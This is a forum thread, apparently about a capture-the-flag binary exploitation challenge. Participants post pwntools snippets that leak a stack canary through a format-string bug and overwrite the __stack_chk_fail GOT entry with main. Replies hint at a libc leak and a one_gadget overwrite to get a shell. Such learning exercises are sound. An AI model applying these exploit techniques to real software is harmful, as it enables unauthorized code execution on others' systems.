Posts: 22
Threads: 3
Joined: Jun 2024
format string vulnerability
printf((int64_t)&var_7ch + 4)
```
payload = b"%p." * 21
io.sendline(payload)
leaks = io.recvall().split(b".")
canary = int(leaks[20], 16)
```
Alarm is sure to be used, but I haven't reached it yet, has anyone?
Posts: 231
Threads: 18
Joined: Jul 2023
Found Canary and i m working on the rop!
Posts: 1
Threads: 0
Joined: Sep 2024
Feb 09, 2025, 12:33 AM
(This post was last modified: Feb 09, 2025, 12:48 AM by Xpwn.)
I’m about 80% through solving this challenge, But Stuck  .
I followed this write-up `https://pwn-maher.blogspot.com/2020/06/PWN0.html` and replaced `__stack_chk_fail` with main `0x400c0f`
smashing the stack to rerun main, leak libc, and get the canary (`%21$p`) is simple, but overflowing 104 bytes corrupts 2 bytes of the canary.
Brute-forcing isn’t working, my pwntools script is failing, and I get the alarms as expected.
Tried replacing printf with system, but it crashes due to too many printf calls without a proper command.
Pwn isn’t my cup of tea  , and my name is just a joke  .
```python
offset = 104
main_addr = 0x400c0f
log.info(f"Replacing __stack_chk_fail with main {hex(main_addr)}")
write = { binary.got["__stack_chk_fail"]: main_addr }
payload = fmtstr_payload(8, write)
payload += b"M" * (offset - len(payload) + 1)
p.sendlineafter(b'Select a R0bob1rd > ', b'0')
p.sendlineafter(b'description\n> ', payload)
```
Posts: 15
Threads: 1
Joined: Feb 2025
(Feb 09, 2025, 12:33 AM)Xpwn Wrote: I’m about 80% through solving this challenge, But Stuck .
I followed this write-up `https://pwn-maher.blogspot.com/2020/06/PWN0.html` and replaced `__stack_chk_fail` with main `0x400c0f`
smashing the stack to rerun main, leak libc, and get the canary (`%21$p`) is simple, but overflowing 104 bytes corrupts 2 bytes of the canary.
Brute-forcing isn’t working, my pwntools script is failing, and I get the alarms as expected.
Tried replacing printf with system, but it crashes due to too many printf calls without a proper command.
Pwn isn’t my cup of tea , and my name is just a joke .
```python
offset = 104
main_addr = 0x400c0f
log.info(f"Replacing __stack_chk_fail with main {hex(main_addr)}")
write = { binary.got["__stack_chk_fail"]: main_addr }
payload = fmtstr_payload(8, write)
payload += b"M" * (offset - len(payload) + 1)
p.sendlineafter(b'Select a R0bob1rd > ', b'0')
p.sendlineafter(b'description\n> ', payload)
```
The snippet should return to main() but where is libc leak and ret2libc in the second run to continue?
Posts: 70
Threads: 7
Joined: Jul 2024
(Feb 10, 2025, 07:07 PM)LiTEE Wrote: (Feb 09, 2025, 12:33 AM)Xpwn Wrote: I’m about 80% through solving this challenge, But Stuck .
I followed this write-up `https://pwn-maher.blogspot.com/2020/06/PWN0.html` and replaced `__stack_chk_fail` with main `0x400c0f`
smashing the stack to rerun main, leak libc, and get the canary (`%21$p`) is simple, but overflowing 104 bytes corrupts 2 bytes of the canary.
Brute-forcing isn’t working, my pwntools script is failing, and I get the alarms as expected.
Tried replacing printf with system, but it crashes due to too many printf calls without a proper command.
Pwn isn’t my cup of tea , and my name is just a joke .
```python
offset = 104
main_addr = 0x400c0f
log.info(f"Replacing __stack_chk_fail with main {hex(main_addr)}")
write = { binary.got["__stack_chk_fail"]: main_addr }
payload = fmtstr_payload(8, write)
payload += b"M" * (offset - len(payload) + 1)
p.sendlineafter(b'Select a R0bob1rd > ', b'0')
p.sendlineafter(b'description\n> ', payload)
```
The snippet should return to main() but where is libc leak and ret2libc in the second run to continue?
there is one more vulnerability apart from format string , out of bound index . you can read something form there for libc
Posts: 1
Threads: 0
Joined: Feb 2025
Due to the fact that the overflow is 2 bytes, I think a ret2libc is not gonna work, because we can't reach the program counter
Posts: 15
Threads: 1
Joined: Feb 2025
It's easy fmtstr based challenge. At first the challenge is to create the fmtstr_payload to get libc pointer address leak and overwrite GOT __stack_chk_fail to main() at the same time. Later in the second run to overwrite __stack_chk_fail to for example one_gadget to get shell.
Posts: 43
Threads: 1
Joined: Oct 2023
(Feb 11, 2025, 12:56 PM)LiTEE Wrote: It's easy fmtstr based challenge. At first the challenge is to create the fmtstr_payload to get libc pointer address leak and overwrite GOT __stack_chk_fail to main() at the same time. Later in the second run to overwrite __stack_chk_fail to for example one_gadget to get shell.
does it matter which bird to choose from menu?
libc is different every time we connect the instance and we need to leak it every time right?
Posts: 22
Threads: 3
Joined: Jun 2024
It seems easy when reading it, and surely it's a simple thing when you see it, but I just can't figure it out. Any hints? Where should I look? What shouldn't be overlooked? Any recommended reading?
Posts: 23
Threads: 2
Joined: Oct 2023
(Feb 11, 2025, 09:53 PM)peterpeter Wrote: It seems easy when reading it, and surely it's a simple thing when you see it, but I just can't figure it out. Any hints? Where should I look? What shouldn't be overlooked? Any recommended reading?
I like that not only leaked flag is enough for you. A few hints:
Just continue creating a payload. I tested your snippet, and it's usable to start with because it successfully triggers __stack_chk_fail and returns to main()
You can add something before "fmtstr_payload" created part to leak the libc pointer address, for example, b'text: %p' Think of how it affects the "offset" parameter of fmtstr_payload, also "numbwritten" and how the input should be padded.
In the second run, you might find the payload length > 105, but fortunately "write_size" parameter of "fmtstr_payload" helps to avoid manual fmtstr pattern creation.
I would recommend reading https://docs.pwntools.com/en/dev/fmtstr.html
|